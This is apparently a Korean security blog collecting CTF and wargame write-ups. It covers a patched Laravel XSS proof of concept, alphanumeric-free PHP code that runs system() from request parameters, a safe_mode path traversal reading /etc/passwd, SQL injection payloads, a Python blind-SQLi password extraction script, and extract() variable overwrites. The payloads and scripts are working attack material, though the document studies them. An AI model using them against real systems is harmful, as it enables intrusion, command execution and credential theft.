[패치됨] Laravel 7.x – XSS vulnerability

이 포스팅은 laravel 7.0 ~ 7.1.2 까지 버전에 존재하는 취약점 입니다.
사용중이신 버전이 포함되어있다면 laravel 7.1.3이상으로 업데이트 하시기 바랍니다.

Laravel news of XSS vector

laravel-news 에서 7.1.2 미만의 버전에서 XSS 공격 포인트가 있으니 업데이트하라는 소식이 들려와 어느부분이 취약한지 궁금해 해당 부분에 대한 코드를 찾아 봤다.

Github를 의 커밋 로그를 보면 attributesToString 메소드에 $escapeBound 옵션이 추가되었고, sanitizeComponentAttribute란 static 메소드가 추가되었다.

sanitizeComponentAttribute 메소드는 입력된 값이 문자열이거나, object 인경우 __toString 매직 메소드가 존재하면 e()(laravel의 html 이스케이프 함수)로 string을 소독(?) 하는 메소드이다.

근데 x-blade 문법에서 attributes->merge하는 메소드에서는 해당 코드가 적용되지 않아 tag 부분을 이스케이프 할 수 있어 XSS 공격이 가능해진다.

XSS code

<!-- resources/views/welcome.blade.php -->
<x-xss></x-xss>
<!-- resources/views/components/xss.blade.php -->
<div {{ $attributes->merge(['class' => request()->css]) }}>XSS able</div>

URI : http://127.0.0.1:8000/?css="><script>alert(1)</script>

<!-- Result -->
<div class="\"><script>alert(1)</script>">XSS able</div>
XSS in laravel 7.1.2

위와 같이 XSS가 실행되는 것을 볼 수 있다.

Patch

메일 보내고 1시간 만에 패치하고 릴리즈 되었다 ㄷㄷ;

7.1.3 버전에서 패치되었으며[commit] composer update를 하면 자동으로 패치되어진다.

나도 업데이트에서 언급 해줫으면 좋겟다. 나도 찾은건 찾은건데… ㅜ

[PHP] Non alphanumeric code

[PHP] Non alphanumeric code

TL;DR

PHP의 가변 함수와  bit 연산자로 alphabet 없이 함수를 실행 시킨다.
1. alphabet이 아닌 문자열을 변수에 넣는다.
2. bit연산자를 통해 원하는 문자열의 bit 값으로 바꾸어 준다.
3. 가변 함수를 사용해 함수를 실행 시킨다.


<?php
if (isset($_GET['eval'])) {
    if (preg_match('/[a-z]/i', $_GET['eval'])) {
        die('No ALPHABET!!!!');
    } else {
        eval('echo '.$_GET['eval'].';');
    }
}

조건

  1. php 파라미터가 eval에 들어가 있다.
  2. 다만 입력받는 파라미터가 알파벳을 허용하지 않는다.
  3. 내가 원하는 함수 (system, shell_exec ..) 를 실행 해야 한다.

방법 1

<?php
$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] );

?0=system&1=ls

이 기법의 장점은 어떠한 알파벳도 사용하지 않는다는 것이다.

2 ~ 3번 째 라인 실행후 $_의 변화
array(5) {
    [0]=>
    bool(true)
    [1]=>
    int(0)
    [2]=>
    string(8) "_Array57"
    [3]=>
    int(3)
    [4]=>
    string(1) "_"
}

이처럼 [4]번째 배열에 _GET문자열을 넣고 가변 함수로 사용하는 방식이다.
마지막 줄에 가장 잘 나와있는데
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] ); 이를 풀어서 설명하면
$_=${$_[4]} > $_=${"_GET"} > $_=$_GET
$_[@-_]($_[@!+_] ); > $_[0]($_[1] ); > $_GET[0]($_GET[1]); 이와 같이 파라미터 0으로 넘어온 값을 함수명으로,
1로 넘어온 값을 인자로 하여 실행 하게 된다.

PS 기존의 마지막 줄 코드는
$_=$
$_[$__+ $__];$_[@-_]($_[@!+_] );
 
이었으나 PHP 7이상부터
$ //(개행)
"문자열" 문법을 더이상 지원 하지 않는다.

방법 2

<?php 
$_="{";
$_=($_^"<").($_^">;").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

?_=system&__=ls

1에서 아무런 문자열 _GET을 만들었다면, 2번째 방법에선 “{“의 bit연산을 하여 _GET이라는 문자열을 만드는 방식이다.

3번째 줄
$_=($_^"<").($_^">;").($_^"/");에서 “{“의 bit연산을 해 ‘GET’이라는 문자열을 만든다.

4번째 줄
${'_'.$_}["_"](${'_'.$_}["__"]); 만들어지 ‘GET’에 ‘_’ 을 붙여 ‘_GET’으로 만들고 가변 함수를 사용해
파라미터 ‘_’를 함수명 ‘__’를 인자로 하여 실행한다.

 


비트 연산으로 _GET과 같은 문자열을 만들고 해당 문자열을 PHP의 문자열을 변수로 바꿔주는 특징을 활용해 알파벳 없이 가변 함수를 실행 할 수 있는 방법이였다.

[phpTrick] array === array compare bypass(?) (<5.5.9)

php Array === Array compare bug

Example Code

<?php
$arr = ['admin', 'password'];
$auth = $_GET['auth'];
if( $arr === $auth && $auth[0] != 'admin'){
    echo 'Hello admin!';
} else {
    echo 'login plz';
}

위와 같은 코드가 있을 때,
2번째 줄 $arr의 0번째인자가 admin으로 박혀있고,
3번째 줄에선 $auth와 $arr의 키/값 순서까지 일치해야 true여야하고(identity), $auth[0]이 admin이 아니여야 Hello admin!이 뜨게 된다.

하지만 ?auth[4294967296]=admin&auth[1]=password를 입력하게 되면 32bit int의 표현의 한계의 의해 auth[4294967296]auth[0]으로 들어가게 되어 해당 if 문을 통과 할 수 있게된다.

[phpTrick] php safe_mode bypass vulnerability (< 5.1.6, <4.4 )

php safe_mode bypass (<5.1.6, <4.4)


Normal Example

//localhost/download.php?dir=path/file.jpg와 같은 파일을 다운 받게 하는 페이지가 존재할 때,
LFI를 통해 서버의 파일을 다운받으려고 할 때 //localhost/download.php?dir=../../../../../../etc/passwd와 같은 쿼리를 날리게 되면

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1

Safe mode 가 활성화 되어있기 때문에 다운로드가 불가능하다.

Bypass Example

이때 //localhost/download.php?dir=../../../../../../etc/passwd/./처럼 자기 자신의 파일을 가르키게 하는 텍스트를 넣는다면,

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync […]

위처럼 에러가 나지만 아래 파일의 내용이 포함되어 출력되게 된다.

[SQL injection] get unknown Column’s data

SQL injection_ get unknown Column’s data


“SELECT * FROM Table WHERE …”
위처럼 Column의 이름을 알지 못할 경우 해당 information_schema의 Column 테이블에서 가져와야 한다.
하지만 information_schema가 막힌경우 Column의 이름을 알 수 가 없다. 
그러나 이번 글에서 이름을 알지 못하는 Column의 정보를 가져오는 방법을 알아보자

Concept

일반적인 SQLi 경우 컬럼의 정보를 얻기 위해 information_schema.columns 에서 가져 오게 된다.
하지만 information_schema 접근이 막혔을 때는 어떻게 해야할까?

원리는 간단한다.
원하는 컬럼명을 넣고 > 원하는 unknown 컬럼의 이름을 으로 alias로  원하는 컬럼 명으로 출력한다.
아래 소스 코드를 보고 좀 더 이해해 보자.

Example

<?php
ini_set("display_errors", 0);
$link = mysqli_connect(_HOST_,_USER_,_PASS_,_DB_) or die();
if(preg_match("/information|schema|\./i",$_GET[id]) 
    || preg_match("/information|schema|\./i",$_GET[pw])) 
    die("no hack ~_~");
$sql="SELECT * FROM `SIL_TEST` WHERE `id` = '{$_GET['id']}' and `pw` = MD5('{$_GET['pw']}')";
$r = mysqli_fetch_array(mysqli_query($link, $sql));

echo "<h2>Can you Found other column's data?</h2><br>";
echo $r['id'].":".$r['pw'];
echo "<hr>";
show_source('index.php');

간단히 만든 예제 이다. 
다른 컬럼의 내용을 알아 내라고 했으나 information_schema의 접근은 불가능한 상태이다.

Solution

가장 먼저 DB의 구조를 파악해야 한다.
Query: ?id=' or 1 union select 1,2,3 %23 이렇게 컬럼의 갯수를 알아 낸다.

이후엔 원하는 컬럼의 내용을 출력하기 위해 해당 내용을 써내야 되는데,

현재 출력되는 컬럼은 첫번째와 두번째 컬럼 ‘1’과 ‘2’ 므로 원하는 곳에 x(또는 원하는 문자나 숫자)를 넣어준다.
이후 FROM절에서 SIL_TEST의 3번째 값을 alias를 이용해서 x로 가져오면 된다.

Query: ?id=' or 1 union select 1,x,3 from (select 1,2,3 as x union select * from SIL_TEST limit 1,1)as dummy limit 1,1%23
이렇게 하게 되면 3번째 컬럼의 값이 나오게 된다.

Explain Query

SQL 쿼리는 제일 안쪽 괄호에서 부터 풀어져 나오므로 하나씩 차근차근 보자

Step 1 (select 1,2,3 as x union select * from SIL_TEST limit 1,1)

가장먼저 앞쪽의 “select 1,2,3 as x” 의 의해서 | 1 | 2 | x | 라는 컬럼 이 만들어지고 각각 1,2,3이란 데이터가 들어가게 된다.
그리고 “union select * from SIL_TSET”를 실행 하게 되는데, 이때 위에서 만든 | 1 | 2 | x | 컬럼에 SIL_TEST의 값이 아래에 들어가게 된다.
여기까지의 쿼리 실행 결과를 가져오면

|     1      |     2    |     x     | 
|        1              2      |        3      |  > select 1,2,3 as x에서 가져온 값
|    data1    |   data2   |   data3   |  > select * from SIL_TEST에서 가져온값

이렇게 표시 된다. 그리고 마지막의 limit 1,1 으로 |   data1   |   data2   |   data3   |  값만 가져오게 된다.

Step 2 union select 1,x,3 from ( /STEP 1/ )as dummy limit 1,1 %23

이제 우리가 원하는 ‘data3’ 은 ‘x’라는 이름의 컬럼에 들어가 있다. 이제는 단순히 SELECT 결과를 FROM절을 통해 가져오는 것 뿐이다.
(/STEP 1/) as dummy는 만들어진  |   data1   |   data2   |   data3   |  이녀석을 Table 처럼 사용하기위해 들어간 것이다.
그리고 이렇게 실행된 쿼리의 결과를 가져오면

|     1      |     x    |     3     | 
|  dummy  |  dummy  | dummy  |  > ‘ or 1로 가져온 더미 값 또는 앞쪽 SQL문의 실행 결과 값
|         1       |   data3   |       3      |  > /STEP 1/ 에서 만든  |   data1   |   data2   |   data3   | 에서 가져온 값

이렇게 가져왔으니 limit으로 짜르거나 아에 처음부터 or 1을 안넣어 바로 나오게 하는 방법도 있다.

 

 

“” 리얼 월드에선 잘 쓰이지 않을 것 같지 않지만, 우리의 지적 탐구심을 자극하기에는 충분한것 같다.

References CTF or Wargame
Wargame.kr adm1nkyj
Codegate 2017 2D-Life

SQL Injection using User Defined Variable

SQL Injection using User Defined Variable


사용자 정의 변수를 이용한 SQL injection 기법(거의 문제 풀이용…)

Syntax[refer]

SELECT @UDV := 'String', @UDV := Numeric 
 OR
SET @UDV := 'String'
SELECT * FROM Table WHERE 'Column'=@UDV

MySQL에선 “사용자 정의 변수“를 지원한다. 기본적인 문법은 “@변수명“이고 “:= 값“연산자로 변수에 값을 넣을 수 있다.
하지만 이 변수 선언이 WHERE절 에서도 가능하다는 점이 이 글의 중점이다.

아래와 같은 구조와 데이터를 가진 DB가 있다고 하자.

이때 인증 방식이 아래와 같다.

<?php
$sql = "SELECT `id` FROM `users` WHERE `id`='{$_GET[id]}' and `pw`='{$_GET[pw]}'";
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);

if( isset($row['id']) ) {
	echo "<h1>Welcome! $result['id']</h1>"; 
}

$_GET['pw'] = addslashes($_GET['pw']); // stupid security

$sql = "SELECT `id` FROM `users` WHERE `id`='admin' and `pw`='{$_GET[pw]}'"; // R U Admin?
$result = mysql_query($sql);
$row = @mysql_fetch_array($result);
 
if( isset($row['pw']) && ($row['pw'] === $_GET['pw'])) {
	echo "<h1> $IMPORTANT_DATA </h1>";
}	

1 ~ 8번째 줄까지는 입력된 idpw를 사용해  불러온 id를 “Welcome! {id}”으로  출력 시켜준다.
게다가 그 어떠한 필터링 처리도 되어 있지 않다.
하지만 10번째 줄 이후 부터는 싱글 쿼터를 막는 addslashes함수가 사용되어 12번째 SQL 문장을 공격 할 수 없다. 

게다가 12번째 줄부터는 admin 계정에 대한 정보 인증인데,
입력한 pw가 DB에 있는 pw와 일치하지 않으면,  $IMPORTANT_DATA를 표시 하지 않는다.

보통 이러한 경우 Blind SQL injection을 이용해 pw의 값을 찾아낼 수 있다.
하지만 사용자 정의 변수(User Defined Variable)를 이용하면 한번에 해결 할 수 있다.

 

사용자 정의 변수 사용

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw #}'

쿼리를 해석하면 WHERE id='admin' and pw='는 FALSE이기 때문에 모두 무시된다. 
하지만 @sil := pw 부분은 사용자 정의 변수선언 되었기 때문에 TRUE를 반환한다.

즉, SQL 쿼리가 참이 되면서 모든 id 값이 나오게 된다. 그리고 해당 결과 값으로 우리가 보는 페이지에는

출력: Welcome! guest

가 뜨게 된다.  

이때 UNION SELECT를 이용해 우리가 저장한 pw 값을 불러 올 수 있다.

SELECT id FROM users WHERE id='admin' and pw='{ ' or @sil := pw UNION SELECT @sil#}'

옆 이처럼 제일 아랫부분에 PW 값이 뜨는 걸 볼 수 있다!
하지만 이는 제일 아래 있기 때문에

출력: Welcome! guest

출력 제일 위로 올려줘야 하고, 출력 될 pw 값을 admin의 pw로 바꿔주기 위해 쿼리를 수정 해야 한다.

최종 쿼리

SELECT id FROM users WHERE id='admin' and pw='{ ' or id='admin' and @sil := pw UNION SELECT @sil limit 1,1#}'

limit이 없을 때 결과

출력: Welcome! admin

 

Limit으로 admin의 pw 값만 뽑아낸 결과

출력: Welcome! 21232f…

 

이 방식의 가장 큰 이점은 blind SQLi 를 통해 일일히 구해야 하는 pw값을 빠르게 찾을 수 있다는 것이다.

Efficient Blind SQL injection

Efficient Blind SQL injection

Efficient Blind SQL injection 즉, 효율적인 블라인드 SQLi란 말 그대로 효율을 극대화한 블라인드 SQLi이다.
기존 Blind SQLi는 한 글자를 알아내기위해최대(big-O)26번이고 만약 대소문자를 구분한다면 26*2인 52번의 공격 시도를 해야한다.
하지만 Efficient Blind SQLi는 문자를 2진수로 바꾸어 최대(big-O)7번의 시도만으로 한 글자를 알아 낼 수 있다.

개념 설명

MySQL의 경우 bin() 이라는 함수가 존재한다.
이 함수는 int를 binary로 바꾸어주는 함수. 즉, 10진수를 2진수로 바꾸어 주는 함수이다.

이를 이용해 영문자의 ascii 범위인 32 ~ 126사이의 수를 binary로 표현 하면,
0100000 ~ 1111110 가 된되며 최대 7자리의 2진수가 생기게 된다. (∵ascii(‘ ‘) ~ ascii(‘~’)가 32~126 까지이기 때문 )

이를 다시 한글자씩 뽑아내면 7번의 시도로 해당 글자를 알수 있다.

이해가 힘들다면 아래의 예를 보자.

Bfficient Blind SQLi Example

character : char= ‘q’

  1.  먼저 찾을 문자를 뽑아 낸다. 
    >> substr(char,1,1)
  2. 뽑은 값을 ascii로 변환시켜준다.
    >> ascii(substr(char,1,1))
  3. 해당 값을 bin()함수를 이용해 binary로 변환 시켜준다.
    >> bin(ascii(substr(char,1,1)))
  4. * 7자리를 체워준다. (∵MySQL은 0011(2) 11(2)로 출력하기때문)
    >> lpad(bin(ascii(substr(char,1,1))),7,0)
  5. 이를 다시 substr로 한글자씩 뽑아 찾는다.
    >> substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1)

Example payload : char=’ substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1)=1

substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),2,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),3,1) = 1 >> True   [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),4,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),5,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),6,1) = 1 >> False   [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),7,1) = 1 >> True   [1]

bin(ascii(‘q’)) = 1110001

이와 같은 방법으로 찾을 수 있다.

실습

실습은 Lord of SQL injection의 문제중 Orc문제로 해보면 이해가 더 쉽다.

Efficient Blind SQL injection Source Code

import requests
import urllib
silnex=''

url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
for chr_l in range(1,9):
	binary=''
	for bin_l in range(1,8):
		param="' or id='admin' and substr(lpad(bin(ascii(substr(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)%261%23"
		s=requests.get(url+param,cookies={'PHPSESSID':'SESSION HERE'})
		print url+param
		if "<h2>Hello admin</h2>" in s.text:
			binary+='1'
		else:
			binary+='0'
		print binary
	silnex = silnex+('%x' % int(binary, 2)).decode('hex')
	
print silnex

 

[Vulnerability of PHP Function] extract()

Extract($_POST) or ($_GET)[php.net]


PHP에서 Extract()함수를  사용함에 있어서 발생할 수 있는 위험성을 알아본다.

Extract() 함수

Extract($_GET)과 같이 선언 될 경우
$_GET[id]가 의미하는 바와 $id가 의미하는 바가 같아진다.

 

서버 사이드 변수 조작(holyshield_CTF)

<?php
$up="abc";
extract($_GET);
$down="efg";

echo "u p : $up<br>";
echo "down: $down";
?>

위와 소스코드와 같은 경우 extract 함수 위에 선언된 변수($up)의 경우 사용자 마음대로 수정이 가능하다.
http://localhost/index.php?up=123&down=456

u p : 123
down: efg

 

필터링 우회 (크리스마스 CTF)

<?php
session_start();
extract($_GET);
extract($_POST);
foreach ( $_GET as $key => $value ) $$key = addslashes($value);
foreach ( $_POST as $key => $value ) $$key = addslashes($value);
  
echo "$uid <br>";
echo $_SESSION['uid'];
?>

위에 코드는 사용자 입력값에 대해 addslashes 를 하여 SQLi를 막는다.
GET data ?uid='123
라고 입력할 경우 \'123 와 같이 출력된다.

우회 방법 1

extract 문을 보면 GET 다음에 POST를 extract해주고 있다.
그말인 즉슨 $_POST가 _GET을 덮어 쓸수 있다는 뜻이다.

GET data = ?_SESSION[uid]='123
POST data = ('_GET':'123')
위와 같이 데이터를 주게 되면
POST에서 보낸 _GET이 기존의 _GET을 대체하게 되며,
진짜 _GET으로 보낸 $_SESSION[uid]'123이 대입 되며 세션 uid엔 ‘123이 저장된다.

또한 GET data ?uid='silnex 이렇게 보낼경우에도 당연히 uid‘silnex 값이 고스란이 저장된다.

우회 방법 2 (hard?)

우회방법 1에선 _POST로 _GET을 덥어 씌웠다. 
하지만 _GET으로 _GET을 덥어 씌울 수 있다.(??)

실제로 
GET data ?_SESSION[uid]=silnex'&uid='123&_GET
위 데이터를 전송하게 되면 _GET이 _GET을 덮어서 uid세션uid
각각 silnex’와 ‘123이 들어가게 된다.

 

point

Extract함수는 자기 자신 위에 존재하는 변수를 덮어 씌울 수 있다.

Tip

extract를 안전하게 사용하기 위해선 아래 옵션을 사용한다.
EXTR_SKIP >> 충돌이 발생하면, 기존 변수를 덮어쓰지 않는다. ” from php.net